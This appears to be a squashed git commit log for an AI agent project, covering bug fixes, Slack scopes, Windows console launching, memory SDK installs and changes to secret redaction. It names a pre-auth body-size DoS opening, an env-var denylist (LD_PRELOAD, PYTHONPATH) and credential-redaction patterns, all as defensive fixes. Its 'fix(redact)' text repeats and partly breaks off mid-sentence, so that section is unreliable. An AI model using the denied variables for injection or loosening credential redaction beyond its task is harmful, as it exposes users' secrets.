* test(gateway): pin auto-reset cached-agent eviction (#10710)

Relocate marco0158's eviction into the dedicated auto-reset cleanup block
(single source of truth for dropping session-scoped transient state) and
add an AST invariant pinning _evict_cached_agent into that block. Add
AUTHOR_MAP entry for marco0158.

* fix(security): cap WeCom callback body size before pre-auth XML parse (#54615)

The WeCom callback endpoint (internet-facing, 0.0.0.0) parsed untrusted
request bodies before signature verification. defusedxml already guards
the entity-expansion class on main, but there was no cap on raw body
size, so an unauthenticated POST could still force unbounded read work
pre-auth.

Set client_max_size=64KB on the aiohttp app (413 at the framework layer)
plus an explicit length guard in _handle_callback as defense in depth.
WeCom callbacks are small encrypted XML envelopes — media is delivered
out-of-band via MediaId, never inline — so 64KB is ample for legitimate
traffic. Adds tests for oversized (413) and normal-sized (not 413) bodies.

Salvaged from #10192 by @memosr (body-size limit half; defusedxml half
already superseded on main).

* fix(logging): suppress Windows lock timeout tracebacks

* fix(agent): omit stream_options for native Gemini streaming

Google's native Gemini REST endpoint (generativelanguage.googleapis.com,
non-/openai) rejects OpenAI-only stream_options={"include_usage": true},
crashing every streaming chat-completions call with TypeError. Omit it for
that endpoint while keeping it for the Gemini OpenAI-compat shim and all
OpenAI-compatible aggregators (OpenRouter, etc.) so usage accounting is
preserved.

Reuses is_native_gemini_base_url() so the compat shim (.../openai), which
accepts stream_options, is correctly excluded from the omission.

* feat(dashboard): list & add arbitrary custom .env keys on the Keys page

The Keys page only rendered env vars present in a catalog (OPTIONAL_ENV_VARS
or the provider catalog); any other key a user set in .env was invisible, and
there was no way to add an arbitrary env var from the GUI (e.g. to inject a
var a skill or MCP server needs).

Backend: GET /api/env now also emits a row for every on-disk .env key that
isn't in any catalog, flagged category="custom" + custom=true and
password-masked (an unrecognised key could hold anything, so it's redacted and
reveal-gated like any secret). Channel-managed credentials stay excluded. The
write (PUT /api/env) and reveal (POST /api/env/reveal) paths already handle
arbitrary keys, with the existing env-name guard + denylist (PATH, LD_PRELOAD,
PYTHONPATH, …) enforced server-side — no new write surface.

Frontend: a new "Custom Keys" section lists those custom rows and carries an
add-a-key form (client-side name validation mirroring the backend regex; the
new row reuses the normal edit/save flow, so on save it round-trips back from
the backend as a durable custom row). i18n added for en + zh + types.

Tests: behavior-contract coverage that an unknown .env key surfaces as a
masked custom row and a catalogued key does not — verified to fail on the
pre-fix backend.

* i18n: add Custom Keys strings to all locale files

The env translation block is type-checked across every locale (tsc -b), so
the 8 new customKeys strings must exist in all of them, not just en/zh. Add
translated entries to the remaining 14 locales (de, es, fr, it, ja, ko, pt,
ru, tr, uk, hu, ga, af, zh-hant).

* fix(desktop): launch Windows backend as console python so child consoles are inherited, not flashed

The recurring Windows desktop console-flash bug (#54220) is governed by the
*parent's* console, not by each child spawn. The desktop backend was launched as
GUI-subsystem pythonw.exe, which has no console at all — so every
console-subsystem child it spawns (git, gh, cmd, wmic, powershell, ...) had to
allocate its own console, flashing a window. That is why the fix had become an
endless per-call-site sweep of CREATE_NO_WINDOW flags: each leaf spawn was
papering over a missing console on the root.

Launch the backend as the venv's console python.exe instead. Under the existing
hiddenWindowsChildOptions() wrapper (windowsHide: true -> CREATE_NO_WINDOW) the
backend owns a single *windowless* console, and every descendant spawn inherits
it instead of allocating a visible one. This makes "no flashing windows" a
property of the one backend launch rather than a flag that must be remembered at
every spawn site — including spawns inside third-party libraries that no
call-site sweep can reach.

Verified on Windows 11 25H2 (Windows Terminal default): with the per-site hide
flag forcibly neutered, the canonical culprits (git/gh/cmd/wmic/powershell)
spawned naively and none flashed, while the same naive spawn from the old
console-less pythonw parent did flash — isolating the parent console as the cause.

Two premises behind the old pythonw approach did not hold up on current Windows
and are dropped here:
- The venv Scripts\python.exe uv shim, under CREATE_NO_WINDOW, re-execs base
  python *windowless* — it does not flash a conhost (the #52239 concern), so the
  base-pythonw detour is unnecessary.
- Console python restores stdout, so the backend announces its port on the normal
  HERMES_DASHBOARD_READY stdout line; the pythonw-only ready-file side channel is
  no longer needed and the readyFile opt-in is removed.

Removes the now-dead pythonw machinery (getNoConsoleVenvPython, toNoConsolePython,
applyWindowsNoConsoleSpawnHints, readVenvHome) and updates the test to assert the
new invariant: backend command is never pythonw, both backend spawns still go
through hiddenWindowsChildOptions, and no backend opts into the ready-file path.

Scope: this fixes the high-frequency backend-descendant flash classes. The
updater/UAC handoff (#54543) and embedded-terminal PTY accumulation (#53555)
classes have separate root causes and are unaffected.

* test(desktop): match multiline spawn(ps, fullArgs) via regex like sibling sites

The bootstrap-runner PowerShell spawn is formatted multiline (spawn(\n  ps,\n  fullArgs,...), so the literal substring 'spawn(ps, fullArgs' never matched and the assertion was failing on main independent of #54635. Convert it to a whitespace-tolerant regex like every other call-site assertion in this file.

* fix(memory): lazy-install supermemory + mem0 SDKs like honcho/hindsight

The supermemory and mem0 memory providers shipped third-party SDKs
(supermemory / mem0ai) that are not core dependencies, but — unlike the
honcho and hindsight providers — they imported those SDKs directly with
no tools.lazy_deps.ensure() preflight and had no LAZY_DEPS allowlist
entry. On the published Docker image the agent venv is sealed
(HERMES_DISABLE_LAZY_INSTALLS=1) and lazy installs are redirected to a
writable durable target (HERMES_LAZY_INSTALL_TARGET). honcho/hindsight
route through ensure() and install fine there; supermemory/mem0 never
called it, so their SDK was never installed on a hosted instance and the
provider silently reported itself unavailable even with the API key set.

Fixes:
- Add memory.supermemory + memory.mem0 to the LAZY_DEPS allowlist
  (tools/lazy_deps.py), pinned to current PyPI releases.
- Call ensure('memory.<x>', prompt=False) at each SDK-import chokepoint
  (_SupermemoryClient.__init__; Mem0MemoryProvider._create_backend),
  mirroring honcho's wrapped try/except shape.
- Drop the SDK-import gate from supermemory's is_available() — it was a
  chicken-and-egg trap (provider never loaded on a sealed venv, so
  ensure() never ran). Now key-presence only, like honcho/mem0.
- Add matching pyproject extras [supermemory]/[mem0]; update the
  lazy-covered-extras contract test (excluded from [all] by policy).

Tests prove each path fails without the fix and the real sealed-venv
durable-target gate accepts both features.

* chore: regenerate uv.lock for supermemory + mem0 extras

* test(windows): harden pid-scan no-window assertion against captured-call leakage (#54707)

test_gateway_pid_scan_hides_wmic_and_powershell_windows flaked once in CI
(slice 7/8) with 'KeyError: creationflags' while passing 15/15 under exact
CI-parity locally. The positional 'kwargs["creationflags"]' indexing raises
a bare KeyError the moment any stray subprocess.run call is captured, masking
the real contract. Filter captured calls to the two intended Windows console
spawns (wmic + PowerShell fallback) and assert each is windowless via
.get('creationflags'); a leaked/extra call now surfaces as a readable
len-mismatch with the full captured list, not a cryptic KeyError.

* fix(slack): subscribe to message.mpim + mpim scopes so group DMs work

Group DMs (multi-person DMs, channel_type=mpim) were never delivered to
the Slack bot. The adapter already classifies mpim as a DM and replies
ambiently (adapter.py:2526, is_dm = channel_type in {im, mpim}), but the
generated app manifest only subscribed to message.im / im:history — the
1:1 DM pair. Without the message.mpim event subscription Slack drops
group-DM messages before the adapter ever sees them, so 1:1 DMs worked
while group-DM ambient mode was dead.

Add message.mpim to bot_events and mpim:history (the scope that event
requires per Slack docs) + mpim:read (mirrors im:read for the
conversations.info classification call) to bot_scopes. Update the
SLACK_BOT_TOKEN / SLACK_APP_TOKEN setup-help strings and the Slack docs
(EN + zh-Hans: scope table, event table, troubleshooting) so existing
installs are told to add the new scopes and reinstall.

Reported by an enterprise customer. Note: this is a manifest/scope
change, so it only takes effect after the app is reinstalled and the
new scopes are accepted.

Tests: assert message.mpim + mpim:history + mpim:read are in the
manifest (with and without assistant mode); both fail on current main
and pass with this change.

* feat(slack): nudge stale installs to add mpim scopes; mark message.mpim required

Follow-up to the group-DM manifest fix. The manifest change only helps
NEW installs; existing apps keep their old (mpim-less) scopes until the
admin reinstalls. Since a missing message.mpim event delivers nothing
(no runtime API error to catch), detect stale installs at connect time
from the auth.test x-oauth-scopes header and log an actionable reinstall
nudge when im:history is granted but mpim:history is not. Also promote
message.mpim from Recommended to Required in the docs event tables so the
default setup path can't drop it.

* fix(tools): send listItemId instead of sessionKey in Camofox tab creation

The Camoufox REST API server expects `listItemId` in the `POST /tabs`
body, but `_ensure_tab` was sending `sessionKey`.  This caused a 400
Bad Request on every `browser_navigate` call.

The parameter name mismatch is visible in the same file: line 283
already reads `tab.get("listItemId")…

* fix(redact): pass web URLs through unchanged

Magic-link checkout URLs, OAuth callbacks the agent is meant to follow,
and pre-signed share URLs were getting `?token=***` / `?code=***` /
`?signature=***` blanket-redacted by parameter NAME, which breaks any
skill that has to round-trip a URL through history (the model's tool
call arguments get sanitized before persistence — the live call fires
with the real URL, but the next turn sees `***`).

Joe Rinaldi Johnson hit this with a checkout-acceleration skill that
uses magic links in URLs.

Drops three call sites from `redact_sensitive_text`:
- `_redact_url_query_params` (was redacting `access_token`, `token`,
  `api_key`, `code`, `signature`, `key`, `auth`, etc.)
- `_redact_url_userinfo` (was redacting `https://user:pass@host`)
- `_redact_http_request_target_query_params` (was redacting access-log
  request targets like `"POST /hook?password=... HTTP/1.1"`)

The helpers themselves are kept in the module — still importable by
anything that wants to opt in explicitly.

Still redacted (unchanged):
- Vendor-prefix credential shapes (sk-, ghp_, AKIA, gAAAA, etc.)
  anywhere they appear, including inside URLs — see the
  `test_known_prefix_inside_url_still_redacted` case.
- JWTs (`eyJ...`)
- DB connection-string passwords (`postgres://admin:pw@host`) —
  these are connection strings, not web URLs the agent navigates to.
- Authorization headers, ENV assignments, JSON `apiKey`/`token` fields,
  Telegram bot tokens, private key blocks, Discord mentions, E.164
  phone numbers, and form-urlencoded bodies (request bodies, not URLs).

Tests: replaces `TestUrlQueryParamRedaction` + `TestUrlUserinfoRedaction`
with `TestWebUrlsNotRedacted`, asserting representative URLs (OAuth
callback, magic link, S3 pre-signed, websocket, userinfo, access log)
pass through unchanged. Adds positive cases proving the prefix and DB

- JWTs (`eyJ...`)

Tests: replaces `TestUrlQueryParamRedaction` + `TestUrlUserinfoRedaction`
with `TestWebUrlsNotRedacted`, asserting representative URLs (OAuth
callback, magic link, S3 pre-signed, websocket, userinfo, access log)
pass through unchanged. Adds positive cases proving the prefix and DB
connstr nets still fire. 74 redact tests + 10 browser-exfil + 16 PII
redaction tests all pass.

* test(codex_app_server): drop URL-query assertion from stderr-tail redaction test

The test bundled (a) sk-live-* credential-prefix redaction with (b)
URL query-param redaction. (a) is still in effect via _PREFIX_RE;
(b) was the contract we just removed in the parent commit so the
'querysecret12345' assertion stopped holding. Keep the credential-shape
assertion, drop the URL-query one.

Send-message tool's local _URL_SECRET_QUERY_RE in tools/send_message_tool.py
is independent of agent/redact.py and unchanged — its tests
(test_top_level_send_failure_redacts_query_token,
test_http_error_redacts_access_token_in_exception_text) still pass.

git remote set-url with an embedded password (https://PASSWORD@github.com)
leaked the credential into agent output — the redaction engine only masked
user:pass@ DB connection strings, never the colon-less bare-token userinfo
form a git remote uses.

Add _URL_BARE_TOKEN_RE: scheme://TOKEN@host for web/transport schemes
(http/https/wss/git/ssh/ftp), 8+ char floor to skip short usernames, token
class forbidding /:@ so an @ in a path/query is never treated as userinfo.

Deliberately scoped to the bare-token form only. The user:pass@ colon form
and query-string tokens stay passing through (NousResearch#34029, 'pass web URLs through
unchanged') so magic-link / OAuth round-trip skills keep working — a bare
credential in userinfo is never a workflow token (those live in the query
string), so masking it can't break a skill.

* fix(redact): pass web URLs through unchanged

Magic-link checkout URLs, OAuth callbacks the agent is meant to follow,
and pre-signed share URLs were getting `?token=***` / `?code=***` /
`?signature=***` blanket-redacted by parameter NAME, which breaks any
skill that has to round-trip a URL through history (the model's tool
call arguments get sanitized before persistence — the live call fires
with the real URL, but the next turn sees `***`).

Joe Rinaldi Johnson hit this with a checkout-acceleration skill that
uses magic links in URLs.

Drops three call sites from `redact_sensitive_text`:
- `_redact_url_query_params` (was redacting `access_token`, `token`,
  `api_key`, `code`, `signature`, `key`, `auth`, etc.)
- `_redact_url_userinfo` (was redacting `https://user:pass@host`)
- `_redact_http_request_target_query_params` (was redacting access-log
  request targets like `"POST /hook?password=... HTTP/1.1"`)

anything that wants to opt in explicitly.
